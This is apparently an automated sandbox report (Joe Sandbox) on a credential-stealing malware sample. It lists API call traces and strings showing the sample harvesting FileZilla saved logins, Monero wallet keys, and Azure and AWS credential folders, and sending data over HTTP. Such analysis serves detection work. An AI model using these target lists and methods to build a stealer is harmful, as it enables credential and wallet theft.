Instruction Fuzzy Hash: A54135F3E092241BE314592CDC947B6B7DADF94722F1A423DAF84A3784E97A1D0482D1

Function 0094A785 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b5c617e51856cd498bf304f48f7fd20b63aabd7fb4fb02c6ca06cb283637de0
Instruction ID: adfd6255673c0732020f7515e0792ffa3531568f6bab91a3ef8ca76cb5f6e12f
Opcode Fuzzy Hash: 0b5c617e51856cd498bf304f48f7fd20b63aabd7fb4fb02c6ca06cb283637de0
Instruction Fuzzy Hash: 683167F7A092185BE350A92AEC847B7F7C9DF90720F168539EAC8D3740F9369805819A

Function 00609750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00600250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 00608DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00608E0B

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

Part of subcall function 005F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005F99EC
Part of subcall function 005F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005F9A11
Part of subcall function 005F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005F9A31
Part of subcall function 005F99C0: ReadFile.KERNEL32(000000FF,?,00000000,005F148F,00000000), ref: 005F9A5A
Part of subcall function 005F99C0: LocalFree.KERNEL32(005F148F), ref: 005F9A90
Part of subcall function 005F99C0: CloseHandle.KERNEL32(000000FF), ref: 005F9A9A

Part of subcall function 00608E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00608E52

GetProcessHeap.KERNEL32(00000000,000F423F,00610DBA,00610DB7,00610DB6,00610DB3), ref: 00600362
RtlAllocateHeap.NTDLL(00000000), ref: 00600369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00600385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB2), ref: 00600393
StrStrA.SHLWAPI(00000000,<Port>), ref: 006003CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB2), ref: 006003DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00600419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB2), ref: 00600427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00600463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB2), ref: 00600475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB2), ref: 00600502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB2), ref: 0060051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB2), ref: 00600532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB2), ref: 0060054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00600562
lstrcat.KERNEL32(?,profile: null), ref: 00600571
lstrcat.KERNEL32(?,url: ), ref: 00600580
lstrcat.KERNEL32(?,00000000), ref: 00600593
lstrcat.KERNEL32(?,00611678), ref: 006005A2
lstrcat.KERNEL32(?,00000000), ref: 006005B5
lstrcat.KERNEL32(?,0061167C), ref: 006005C4
lstrcat.KERNEL32(?,login: ), ref: 006005D3
lstrcat.KERNEL32(?,00000000), ref: 006005E6
lstrcat.KERNEL32(?,00611688), ref: 006005F5
lstrcat.KERNEL32(?,password: ), ref: 00600604
lstrcat.KERNEL32(?,00000000), ref: 00600617
lstrcat.KERNEL32(?,00611698), ref: 00600626
lstrcat.KERNEL32(?,0061169C), ref: 00600635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00610DB2), ref: 0060068E

Strings

url: , xrefs: 00600577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 006002A4
<User>, xrefs: 00600410
browser: FileZilla, xrefs: 00600559
<Host>, xrefs: 0060037C
profile: null, xrefs: 00600568
login: , xrefs: 006005CA
<Pass encoding="base64">, xrefs: 0060045A
<Port>, xrefs: 006003C6
password: , xrefs: 006005FB

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 5410cd5d052a8bae4d42ee306ddd392e1d9df2e103f341d0fdabc464226c716e
Instruction ID: bacb792292a95c2b8acdf137c0c8cf1ee4404134e799b08e114f010015383e9f
Opcode Fuzzy Hash: 5410cd5d052a8bae4d42ee306ddd392e1d9df2e103f341d0fdabc464226c716e
Instruction Fuzzy Hash: 0CD13C71950208ABDB48FBE0DD96EEF737ABF54340F448418F202A60D1EF75AA46CB65

Function 005F5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

Part of subcall function 005F47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005F4839
Part of subcall function 005F47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005F4849

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005F59F8
StrCmpCA.SHLWAPI(?,0140E430), ref: 005F5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005F5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0140E500,00000000,?,01409AF8,00000000,?,00611A1C), ref: 005F5E71
lstrlen.KERNEL32(00000000), ref: 005F5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 005F5E93
RtlAllocateHeap.NTDLL(00000000), ref: 005F5E9A
lstrlen.KERNEL32(00000000), ref: 005F5EAF
lstrlen.KERNEL32(00000000), ref: 005F5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 005F5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 005F5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 005F5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 005F5F4C
InternetCloseHandle.WININET(00000000), ref: 005F5FB0
InternetCloseHandle.WININET(00000000), ref: 005F5FBD
HttpOpenRequestA.WININET(00000000,0140E490,?,0140DB30,00000000,00000000,00400100,00000000), ref: 005F5BF8

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

InternetCloseHandle.WININET(00000000), ref: 005F5FC7

Strings

", xrefs: 005F5E16
------, xrefs: 005F5A96
------, xrefs: 005F5C0B
------, xrefs: 005F5D4C
", xrefs: 005F5CD5

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: bfaba6e1d64ef12523755fdf5cbe5e1b5794fcd8a0c96e82a0e036963a200f64
Instruction ID: 791f9b0269fa15582d0b8d6de22fd23bbae3fdf6d54c90ed097628a7c8307ae7
Opcode Fuzzy Hash: bfaba6e1d64ef12523755fdf5cbe5e1b5794fcd8a0c96e82a0e036963a200f64
Instruction Fuzzy Hash: 55122D71960218AADB59EBE0DC95FEFB33ABF54740F40419DB106620D1EF702A4ACF69

Function 005FCEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

Part of subcall function 00608B60: GetSystemTime.KERNEL32(00610E1A,01409EE8,006105AE,?,?,005F13F9,?,0000001A,00610E1A,00000000,?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 00608B86

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005FCF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005FD0C7
RtlAllocateHeap.NTDLL(00000000), ref: 005FD0CE
lstrcat.KERNEL32(?,00000000), ref: 005FD208
lstrcat.KERNEL32(?,00611478), ref: 005FD217
lstrcat.KERNEL32(?,00000000), ref: 005FD22A
lstrcat.KERNEL32(?,0061147C), ref: 005FD239
lstrcat.KERNEL32(?,00000000), ref: 005FD24C
lstrcat.KERNEL32(?,00611480), ref: 005FD25B
lstrcat.KERNEL32(?,00000000), ref: 005FD26E
lstrcat.KERNEL32(?,00611484), ref: 005FD27D
lstrcat.KERNEL32(?,00000000), ref: 005FD290
lstrcat.KERNEL32(?,00611488), ref: 005FD29F
lstrcat.KERNEL32(?,00000000), ref: 005FD2B2
lstrcat.KERNEL32(?,0061148C), ref: 005FD2C1
lstrcat.KERNEL32(?,00000000), ref: 005FD2D4
lstrcat.KERNEL32(?,00611490), ref: 005FD2E3

Part of subcall function 0060A820: lstrlen.KERNEL32(005F4F05,?,?,005F4F05,00610DDE), ref: 0060A82B
Part of subcall function 0060A820: lstrcpy.KERNEL32(00610DDE,00000000), ref: 0060A885

lstrlen.KERNEL32(?), ref: 005FD32A
lstrlen.KERNEL32(?), ref: 005FD339

Part of subcall function 0060AA70: StrCmpCA.SHLWAPI(01408800,005FA7A7,?,005FA7A7,01408800), ref: 0060AA8F

DeleteFileA.KERNEL32(00000000), ref: 005FD3B4

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 62140cb9a5110bcb3b2baf535ba19283fded3e526f3e5b2c9ee74e3c1f79e262
Instruction ID: 39886db490dfa0c1955d7d5e1ba0f5eee9da23515d311b182b8c46295ea0e419
Opcode Fuzzy Hash: 62140cb9a5110bcb3b2baf535ba19283fded3e526f3e5b2c9ee74e3c1f79e262
Instruction Fuzzy Hash: EDE11C71950208ABCB4CEBE0DD96EEF737ABF64340F104558F147A60D1EE35AA09CB66

Function 005FC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

Part of subcall function 0060A920: lstrcpy.KERNEL32(00000000,?), ref: 0060A972
Part of subcall function 0060A920: lstrcat.KERNEL32(00000000), ref: 0060A982

Part of subcall function 0060A8A0: lstrcpy.KERNEL32(?,00610E17), ref: 0060A905

Part of subcall function 0060A9B0: lstrlen.KERNEL32(?,01408AA0,?,\Monero\wallet.keys,00610E17), ref: 0060A9C5
Part of subcall function 0060A9B0: lstrcpy.KERNEL32(00000000), ref: 0060AA04
Part of subcall function 0060A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0140CEB0,00000000,?,0061144C,00000000,?,?), ref: 005FCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005FCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 005FCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 005FCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 005FCAD9
StrStrA.SHLWAPI(?,0140CE68,00610B52), ref: 005FCAF7
StrStrA.SHLWAPI(00000000,0140CDF0), ref: 005FCB1E
StrStrA.SHLWAPI(?,0140D358,00000000,?,00611458,00000000,?,00000000,00000000,?,01408940,00000000,?,00611454,00000000,?), ref: 005FCCA2
StrStrA.SHLWAPI(00000000,0140D138), ref: 005FCCB9

Part of subcall function 005FC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 005FC871
Part of subcall function 005FC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 005FC87C

StrStrA.SHLWAPI(?,0140D138,00000000,?,0061145C,00000000,?,00000000,01408820), ref: 005FCD5A
StrStrA.SHLWAPI(00000000,01408A40), ref: 005FCD71

Part of subcall function 005FC820: lstrcat.KERNEL32(?,00610B46), ref: 005FC943
Part of subcall function 005FC820: lstrcat.KERNEL32(?,00610B47), ref: 005FC957
Part of subcall function 005FC820: lstrcat.KERNEL32(?,00610B4E), ref: 005FC978

lstrlen.KERNEL32(00000000), ref: 005FCE44
CloseHandle.KERNEL32(00000000), ref: 005FCE9C

Strings

, xrefs: 005FC9C6

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: f1ee126b7cde97d335d0704415f5e60457a4b4fe38b00e1045fa1d515d59bbbf
Instruction ID: e8af78458f10e7c5bdba28b4fac9527a921152fa70f15e36c649ebb340bc4991
Opcode Fuzzy Hash: f1ee126b7cde97d335d0704415f5e60457a4b4fe38b00e1045fa1d515d59bbbf
Instruction Fuzzy Hash: 12E10A71950208ABDB48EBE0DC96FEFB77AAF54340F00815DF106661D1EF346A4ACB69

Function 00608320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0060A740: lstrcpy.KERNEL32(00610E17,00000000), ref: 0060A788

RegOpenKeyExA.ADVAPI32(00000000,0140ABC0,00000000,00020019,00000000,006105B6), ref: 006083A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00608426
wsprintfA.USER32 ref: 00608459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0060847B
RegCloseKey.ADVAPI32(00000000), ref: 0060848C
RegCloseKey.ADVAPI32(00000000), ref: 00608499

Part of subcall function 0060A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0060A7E6

Strings

- , xrefs: 006085A3
?, xrefs: 0060837A
%s\%s, xrefs: 0060844D

Memory Dump Source

Source File: 00000000.00000002.2064798922.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000000.00000002.2064736713.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2064798922.000000000083A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.000000000084E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.00000000009DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066102720.0000000000AFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066766624.0000000000AFC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066926682.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066949840.0000000000CA3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5f0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: c77666eb3818ae3d980c5d94efc36f6b3c5ee74301ef142dbb185760818c477c
Instruction ID: 4dcb0b4690e554d1980c33ff733334b7c8908c88b5af13eae7865e3831c67348
Opcode Fuzzy Hash: c77666eb3818ae3d980c5d94efc36f6b3c5ee74301ef142dbb185760818c477c
Instruction Fuzzy Hash: FA813D71951218AFEB68DB90CC85FEBB7B9FF48700F008698E149A6180DF716B85CF95

Function 00604D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00608DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00608E0B

lstrcat.KERNEL32(?,00000000), ref: 00604DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00604DCD

Part of subcall function 00604910: wsprintfA.USER32 ref: 0060492C
Part of subcall function 00604910: FindFirstFileA.KERNEL32(?,?), ref: 00604943

lstrcat.KERNEL32(?,00000000), ref: 00604E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00604E59

Part of subcall function 00604910: StrCmpCA.SHLWAPI(?,00610FDC), ref: 00604971
Part of subcall function 00604910: StrCmpCA.SHLWAPI(?,00610FE0), ref: 00604987
Part of subcall function 00604910: FindNextFileA.KERNEL32(000000FF,?), ref: 00604B7D
Part of subcall function 00604910: FindClose.KERNEL32(000000FF), ref: 00604B92

lstrcat.KERNEL32(?,00000000), ref: 00604EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00604EE5

